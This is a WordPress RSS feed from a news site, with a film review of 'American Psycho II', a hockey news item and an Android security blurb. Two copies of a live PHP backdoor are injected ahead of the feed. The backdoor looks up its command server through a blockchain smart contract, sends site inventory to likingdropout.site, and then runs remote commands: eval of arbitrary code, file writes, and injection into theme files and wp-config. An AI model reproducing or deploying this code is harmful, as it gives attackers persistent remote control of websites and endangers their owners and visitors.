// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Sloppy – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 12 Aug 2018 20:31:14 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Sloppy – Brief News https://briefnews.eu 32 32 A Clever Android Hack Takes Advantage of Sloppy Storage https://briefnews.eu/a-clever-android-hack-takes-advantage-of-sloppy-storage/ https://briefnews.eu/a-clever-android-hack-takes-advantage-of-sloppy-storage/#respond Sun, 12 Aug 2018 20:31:14 +0000 http://briefnews.eu/a-clever-android-hack-takes-advantage-of-sloppy-storage/ The so-called man in the disk attack uses Android’s permissive external storage to wreak havoc on devices.


https://media.wired.com/photos/5b6e0513f6d47809bff3a608/master/pass/Android-924409268.jpg

]]> https://briefnews.eu/a-clever-android-hack-takes-advantage-of-sloppy-storage/feed/ 0 ‘American Psycho II’ Is the Kind of Sloppy Mess That Patrick Bateman Would Despise https://briefnews.eu/american-psycho-ii-is-the-kind-of-sloppy-mess-that-patrick-bateman-would-despise/ https://briefnews.eu/american-psycho-ii-is-the-kind-of-sloppy-mess-that-patrick-bateman-would-despise/#respond Mon, 09 Jul 2018 15:30:00 +0000 http://briefnews.eu/american-psycho-ii-is-the-kind-of-sloppy-mess-that-patrick-bateman-would-despise/ american psycho 2

(Welcome to DTV Descent, a series that explores the weird and wild world of direct-to-video sequels to theatrically released movies. In this edition, we find out what happens after Patrick Bateman realized he would never be caught or made to pay for his crimes.)

The poster for 2002’s American Psycho II: All American Girl promises a killer who’s angrier, deadlier, and sexier, but not only does it fail to deliver on all three it also fails to understand that none of those adjectives speak to the appeal of its predecessor. American Psycho (2000) is a time-capsule by design, capturing the excess of the 1980s through the eyes, words, and severely damaged imagination of one of its apparent “winners.” Christian Bale’s Patrick Bateman has everything he could want, including an ax to grind against those who annoy him, disappoint him, or simply cross his path at the wrong time. But while the film focuses on one man, the story being told is about something much bigger.

The direct-to-video sequel is about a girl who really wants a professor to pick her as next semester’s TA.

The Beginning

2000’s American Psycho is narrated by one Patrick Bateman (Christian Bale), a successful investment banker in New York City who kills the time extolling the virtues of exercise, pop music, expensive furniture, and restaurant reservations on short notice. And when all that runs dry? He kills time by killing people. A homeless man, a co-worker, a model, some friends – they’re all fodder for his sociopathic rage at the wrong end of an ax, chainsaw, or gun, and it’s only as his crimes build into a frenzy that he pauses to reflect on what he’s done. Or hasn’t done? Good thing he’ll never be caught.

Bret Easton Ellis’ 1991 novel American Psycho was a controversial bestseller thanks to its gleefully matter-of-fact depictions of violence, typically against women, and it took nine years before an adaptation hit theaters. The film trades Ellis’ humorless kills (including an infamous one involving a nude woman and a hungry rat) for more stylized and effective presentations while ramping up the black comedy in general throughout. His monologue about Huey Lewis while preparing to hack up Jared Leto? Priceless. His stairwell stalk and kill while wearing nothing but sneakers and wielding a chainsaw? Ridiculously memorable.

The book’s satirical observations translate well and are magnified in their pointed commentary on American consumption, capitalism, and commercialism, but rather than be some dry lecture, it delivers a terrifically entertaining blend of character and laughs against a backdrop of occasional murders. The entirety is good, twisted fun, but Bale’s performance beats as its wonderfully maniacal heart. He reportedly used Nicolas Cage’s Vampire’s Kiss performance as an inspiration, and if you’ve seen that cinematic marvel, then you know that’s a good thing.

The DTV Plot

Rachel (Mila Kunis) was just a young girl when she watched her babysitter fall victim to Patrick Bateman, but she managed to slip her restraints, kill Bateman (?), and then slip into the night before the authorities could arrive. She vowed then and there – again, as a kid – that she would devote herself to stopping other serial killers. Now a freshman college student enrolled in “the most renowned behavioral studies program in America,” she has her sights set on becoming Prof. Starkman’s (William Shatner) teaching assistant, knowing it puts her on the fast track for acceptance into the FBI. Step one? Eliminate the competition, including a rich kid who offers her $ 1 million dollars to drop out of consideration so he can nab the TA position instead. (Yes, you read that right.) Soon, she’s killing off other students – all from the same class – as well as a university administrator, janitor, security guard, and teacher.

See, she’s killing a few innocent people in order to become an FBI agent so she can save lives by stopping other serial killers. Or something.

Talent Shift

Speaking of murder, when it comes to a head-to-head comparison of the films’ on and offscreen talents, it’s a straight-up slaughter. Mary Harron (I Shot Andy Warhol) directed and co-wrote the first film, and she proved to be the ideal filmmaker for the task as she eliminates the novel’s more problematic sequences (as well as ones that are offensive simply for the sake of being offensive) while fine-tuning the commentary, themes, and comedy. She gives the film a playful energy and avoids the callous cruelties of the book, and the pitch-black humor comes through in spades. And just look at that cast! Christian Bale kills it in the lead, and he’s supported by the likes of Chloë Sevigny, Justin Theroux, Reese Witherspoon, Josh Lucas, Samantha Mathis, Willem Dafoe, and Jared Leto.

Director Morgan J. Freeman’s – no relation – sequel just can’t compete and seemingly doesn’t even try. The film’s shot and directed competently, but Freeman’s attempts at “style” translate into inexplicably timed slow-motion and song choices that deliver literal plot lyrics as opposed to pop culture touchstones. The script by Alex Sanger and Karen Craig remains the only feature film credit for either of them.

As for the cast…while Mila Kunis and William Shatner are known names, this was Kunis just halfway through That ’70s Show (and still lacking in presence) and Shatner long after his prime. Beyond that, the most recognizable face belongs to Robin Dunne, but that may just be my unfortunate brain speaking as he’s something of a DTV sequel veteran, having also starred in Species III, The Skulls II, and Cruel Intentions 2.

And those soundtrack song choices…eesh. The original film features a selection of familiar classics that speak to Bateman’s obsessions and adherence to pop culture – they’re integral to the character and film. David Bowie, The Cure, New Order, Katrina and the Waves, Genesis, and Robert Palmer are just a few of the performers whose tunes set a tone, but for the sequel, the music seems far more of an afterthought. Well, aside from the song called “Dead Things” that plays over the first murder. Or the track “Ordinary Girl,” which plays over a dialogue-free montage of her jogging like a regular, totally non-homicidal college girl.

How the Sequel Respects the Original

Regular readers of this column (Him mom!) will know that I’m partial to DTV sequels that acknowledge their predecessor, and to that end, this follow-up seems to earn that begrudging ounce of respect. So that’s something.

How the Sequel Shits on the Original

Of course, regular readers of this column (Hi, cousin Judy!) will also know that connections to the bigger film are often tenuous and/or crammed in for commercial reasons. Unsurprisingly, American Psycho II fits that particular bill as it began life under the title The Girl Who Wouldn’t Die and was only turned into a sequel once production was underway. That disrespect shows in how quickly it dismisses Patrick Bateman – played here by Michael Kremko in a bathrobe and eye mask – at the hands of a child. The original film’s Bateman is clearly off his rocker, but it’s a descent that fascinates in his focus, his narration, and Bale’s performance. He tells us that he’s “simply not there” as a person, and it’s shorthand for his disconnect from emotion and empathy and a suggestion that he’s capable of murder. His eventual killing spree, which may or may not even be real, is fueled by his disdain for people’s poor tastes and superior business cards in a world that he envisions as thriving on precision and prestige.

Rachael, by contrast, is an open book with lazily written pages. “Yup, I just killed Brian,” she says in voiceover after killing her classmate Brian. This is after spending a few minutes of the film going out of its way to make viewers believe that Brian is himself a killer. There’s no nuance or ambiguity to her murders and they’re simply driven by a one-note plot. While Bateman’s escape from the law is hinted at as being due to his own madness, Rachael’s is purely through bad writing. She kills publicly, leaves bodies everywhere, and the one person who knows her truth is surprisingly nonchalant about it. The original is funny due to smart writing, ridiculously good execution, and some stellar absurdity, while the sequel makes weak jokes and lays a playful score over Rachael’s antics.

Most annoyingly, while Bateman is acknowledged as being mad – and tragically so by the end – the sequel plays up Rachael as a fun and super smart sociopath who’s “one in a billion.” She isn’t nearly as clever as the movie wants us to believe, though, and worse, the film treats her as someone we should be rooting for in some fashion. But she’s no antihero and is instead an obnoxious and unlikable character. That’s fitting in theory – she is a murderer after all – but the film so desperately wants viewers to like her that it instead sees her as the hero of her own story. The script has no idea what to do with issues of insanity or morality and makes no attempt at commentary, and the end result is a pale and shallow follow-up.

Conclusion

American Psycho II: All American Girl‘s connection to the fairly brilliant original is both a promising tease and a crushing disappointment. It’s clearly just a poorly written film about a “movie” sociopath – trading believability and credibility for “fun” – but the forced connection to American Psycho highlights its own lack of personality, wit, and relevance. Even if you could separate it from its predecessor you’re left with a comedic (?) thriller that manages neither comedy nor thrills. Skip it and watch any other sequel with Psycho in the title instead.

The post ‘American Psycho II’ Is the Kind of Sloppy Mess That Patrick Bateman Would Despise appeared first on /Film.

]]> https://briefnews.eu/american-psycho-ii-is-the-kind-of-sloppy-mess-that-patrick-bateman-would-despise/feed/ 0 Capitals, Knights both happy to put sloppy Game 1 behind them https://briefnews.eu/capitals-knights-both-happy-to-put-sloppy-game-1-behind-them/ https://briefnews.eu/capitals-knights-both-happy-to-put-sloppy-game-1-behind-them/#respond Wed, 30 May 2018 03:57:17 +0000 http://briefnews.eu/capitals-knights-both-happy-to-put-sloppy-game-1-behind-them/ The Vegas Golden Knights were over-the-moon happy to win Game 1 of the Stanley Cup Final.

How they got across the finish line is another matter entirely.

Vegas put in an uncharacteristically sloppy defensive showing in Monday's chaotic 6-4 victory over the Washington Capitals, a back-and-fourth tilt that saw a Cup-record four lead changes.

Inching ever closer to an improbable championship in their expansion season was nice, but the Knights know there's lots to clean up ahead of Wednesday's Game 2.

"Small margin for error out there — one turnover and you find it in the back of your net," Vegas forward James Neal said after Tuesday's optional practice. "We've got to be a little bit better coming out of our end … when we get in the offensive zone, be a little bit better there."

